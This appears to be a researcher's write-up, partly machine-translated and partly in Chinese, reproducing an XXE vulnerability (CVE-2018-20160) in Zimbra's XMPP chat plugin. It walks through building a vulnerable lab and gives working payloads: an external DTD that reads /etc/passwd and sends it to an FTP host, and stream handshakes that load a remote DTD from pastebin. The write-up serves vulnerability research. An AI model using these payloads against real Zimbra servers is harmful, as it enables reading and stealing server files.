Zimbra XMPP XXE reproducibility

Foreword

Weekend all right, then look for CVE-2018-20160, XMPP is XXE

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.9/P9

Said the patch XXE loopholes zimbra-chat plug-in, due zimbra-chat plug-in is apt to install, so if an administrator right click on the upgrade fixes, and 8.7.x is the AutoDiscovers XXE need to manually install the patch, relatively few will be more .

By the way : other XMPP protocol estimated engage in law estimates are almost empty bigwigs can try ^ _ ^

Environment to build

Or the use of jorgedlcruz / zimbra this docker as a basis, which docker use the 8.7.11 version of the installation package, so the need for a little modification.

Start.sh create a configuration using the content, but the installation using the installation package that addresses:

https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz

After unpacking need to remove the package utils / globals.sh, delete the zimbra-patch line, otherwise it will install the update installation.

When you call install.sh installation, you can not use the input redirection 8.7.11.

Since zimbra-chat is apt installation, it will automatically install the latest version, so I finally had to zimbra-chat plug-drop stages:

apt-get install zimbra-chat=2.0.1.1532356008-1.u16
su - zimbra
zmmailboxdctl restart

Contrast of old and new codes:

new:

Here Insert Picture Description

old:

Here Insert Picture Description

Zimbra-chat XMPP XXE

Zimbra-chat for a long time look at the code and found it too hard to see the resolution process to change the look of the XMPP protocol.

Code location in / opt / zimbra / lib / openchat below, the master can be more interested OOO.

Specific process connection can download a Gajim, see where the XML console.

Here Insert Picture Description

说下个人理解:XMPP的协议基于XML，相当于C/S两端拼凑XML，你写一段我写一段，解析过程使用流式XML解析。但是具体的DOCTYPE定义、实体引用是XML发起人所规定。(emm，这段不确定对，仅供参考。)由于大部分操作都得走认证，没有账号的情况下除了首次握手以外也没啥好搞的了，下面说的都是基于首次握手做的。

流式XML解析的接口：

http://doc.codingdict.com/java_api/javax/xml/stream/XMLStreamReader.html

连接XMPP服务

openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://192.168.252.1/%payload;'>">
%param1;

发送报文（第一次握手报文）：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233">
%remote;
%send;
]>
<stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="zimbra.io" xml:lang="zh" >

结果只有一行：

Here Insert Picture Description
如果读localconfig.xml直接抛异常,就是原文作者说的ftp命令中的换行被java检测的问题。

emm，作者原文里提到了新版本的Java会抛掉多行命令，但是并不影响提到的几个CVE= =，这个节奏不对啊?

继续翻XMPP协议

经过查询，发现除了client to server这样的请求，还有server to server的：

https://xmpp.org/extensions/xep-0288.html

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

走握手包,如果to的服务不存在，会将to的内容回显，也是在属性中：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl">
%remote;
%param1;
]>
	<stream:stream xmlns:stream='http://etherx.jabber.org/streams'
               xmlns='jabber:server' xmlns:db='jabber:server:dialback'
               to='&internal;' from='zimbra.io'
               xml:lang='en' version='1.0'>